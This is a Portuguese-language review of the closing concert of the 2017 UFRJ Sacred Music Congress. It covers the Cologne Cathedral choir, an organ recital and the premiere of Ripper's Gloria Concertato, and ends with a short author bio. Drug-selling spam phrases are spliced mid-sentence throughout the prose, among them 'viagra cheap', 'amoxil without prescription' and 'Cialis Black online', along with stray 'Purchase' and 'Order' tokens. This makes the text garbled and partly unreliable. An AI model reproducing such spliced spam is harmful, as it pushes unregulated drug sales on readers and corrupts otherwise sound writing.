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Encerramento glorioso

Estreia de Gloria Concertato, de J. G. Ripper, é ápice do concerto de encerramento do Congresso de Música Sacra da UFRJ.

 

Terminou no sábado, 22 de julho, o 1º Congresso Internacional de Música Sacra da UFRJ. Foram três dias de palestras, workshops e concertos, ocorridos principalmente na Escola de Música da Universidade, no Centro do Rio de Janeiro. Um concerto com três atrações marcou o encerramento do evento.

Às 18h40, uma fila de meninos e rapazes, majoritariamente loiros, adentrou o Salão Leopoldo Miguez da Escola de Música da UFRJ: eram os integrantes do Kölner Domchor (Coro da Catedral de Colônia, na Alemanha). O grupo, formado por 60 cantores, veio ao Rio de Janeiro participar do festival internacional Pueri Cantores 2017, que contou ainda com coros de Colômbia, México, Polónia, Suécia, Coreia do Sul e Brasil. Regidos pelo Domkapellmeister viagra cheap Eberhard Metternich amoxil without prescription , fizeram participação especial no encerramento do Congresso de Música Sacra.

Tristis est anima mea, de Orlando di Lasso, abriu a apresentação de forma etérea, com as belas vozes elevando-se em harmonia. Em seguida, o moteto Komm, Jesu, komm (BWV 229) price of crestor at wal mart , de Johann Sebastian Bach. Apresentado a cappela, adquiriu belo efeito estéreo, mas houve escorregadelas na afinação. A terceira peça – Ich bin das Brot des Lebens, composta pelo alemão Wolfram Buchenberg (1962-) – era hipnótica, com belas dissonâncias de grande impacto. Por fim, bonito Laudate Domino, de Henri Carol, com acompanhamento de órgão por Winfried Bönig – a atração seguinte do concerto.

O alemão Bönig é um organista da Catedral de Colônia e professor de órgão da Academia de Música de Colônia. Seu recital no impressionante órgão Tamburini da Escola de Música da UFRJ, restaurado em 2012, foi de notável desenvoltura e exuberância – particularmente nas duas peças de J. S. Bach que compuseram o programa: Cheap Prelúdio e Fuga em ré maior, e a Sinfonia da cantata Wir danken dir, Gott, wir danken dir, BWV 29 (um pouco acelerada, mas ainda assim impactante). Já o triste Adágio, de Samuel Barber, composto originalmente para cordas, ainda que bem executado, perde a densidade no arranjo para órgão e tropeça na caminhada em direção ao crescendo perto do fim.

Merece registro a falta de educação de parte do público presente que, face à falta de aviso para desligar os celulares, não apenas os manteve ligados como, por longos períodos, ao alto, gravando em vídeo ou fotografando em pleno concerto. Passou longe qualquer preocupação com o fato de que mãos e aparelhos estendidos para cima atrapalham muito a visão (e, consequentemente, a fruição) dos espectadores sentados atrás. Lamentável.

 

Purchase Juventude e maturidade

Após breve intervalo para arrumação do palco, entrou em cena a Order Purchase Orquestra Sinfônica Nacional da UFF, sob regência de Roberto Duarte Purchase , para executar a Abertura em ré, do Padre José Maurício Nunes Garcia (editada por Antonio Campos, colaborador do Movimento.com). Conduzido de forma discreta e elegante pelo maestro, o conjunto tocou com reverência e solenidade, com destaque para a harmonia entre as cordas e o bonito som da clarineta.

O ponto final – e mais alto – do concerto foi a estreia da obra Gloria Concertato, composta por João Guilherme Ripper especialmente para o Congresso de Música Sacra. Para esta performance, além da OSN UFF, ingressaram na cena o organista Winfried Bönig, o Coro do Congresso, formado para o evento e conduzido por Valéria Matos, e os solistas Maíra Lautert (soprano) e Inácio de Nonno (barítono).

Após início arrebatador, com o excelente coro entoando Gloria in excelsis Deo, a nova composição revelou-se uma obra de pés fincados no presente (as intervenções do órgão, em particular, traziam ecos de Philip Glass) e, ao mesmo tempo, com inteligente diálogo com o passado (Verdi, Poulenc, Fauré).

Em vários momentos o compositor mostrou criatividade nas escolhas instrumentais e nas harmonias: a força percussiva, os contrastes entre as escritas para órgão e vozes, a eloquência dos clamores do coro – conjunto vocal coeso que mostrou a excelência de seus cantores tanto nos momentos de vigor como nos de suavidade. As mulheres, particularmente, encantaram ao introduzir o Agnus Dei, peça executada de grande beleza com andamento preciso.

Inácio defendeu com a competência de sua técnica e de sua bela voz o elegante Purchase Domine Deus, marcado ritmicamente pelos contrabaixos. O Qui sedes foi em um crescente de tensão até Maíra, soprano de fraseado perfeito, pedir Cialis Black online Miserere nobis – trecho cheio de vida e com uma tocante interação entre órgão e trompete. A música desemboca em um glorioso ápice, com um caudaloso Quoniam tu solus sanctus. A partitura prossegue com uma bela surpresa a cada página até o Cum santo Spiritu entoado como uma fuga bachiana e, por fim, um Amem simplesmente arrebatador.

Em meio às brilhantes composições da pena de João Guilherme Ripper – as óperas Order Anjo Negro e Domtila, canções para soprano e orquestra como Cinco poemas de Vinicius de Moraes, e peças instrumentais como Brazilian landscapes, entre tantas outras –, este Gloria Concertato, para além da perfeita interpretação de OSN UFF, coro, solistas e maestro, firma-se como obra jovem de grande maturidade, cheia de vigor, energia, escrita com criatividade e inteligência musical. Uma composição que merece ainda muitas audições.

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Fabiano Gonçalves
Publicitário e roteirista (formado no Maurits Binger Film Institute - Amsterdã). Corroteirista do longa O Amor Está no Ar e de programas de TV (novela Chiquititas - 1998/2000). Redator na revista SuiGeneris, no site Escola24horas e no Departamento Nacional do Senac. Um dos fundadores do movimento.com, escreve também sobre televisão para o site teledossie.com.br. - E-mail: fabiano@movimento.com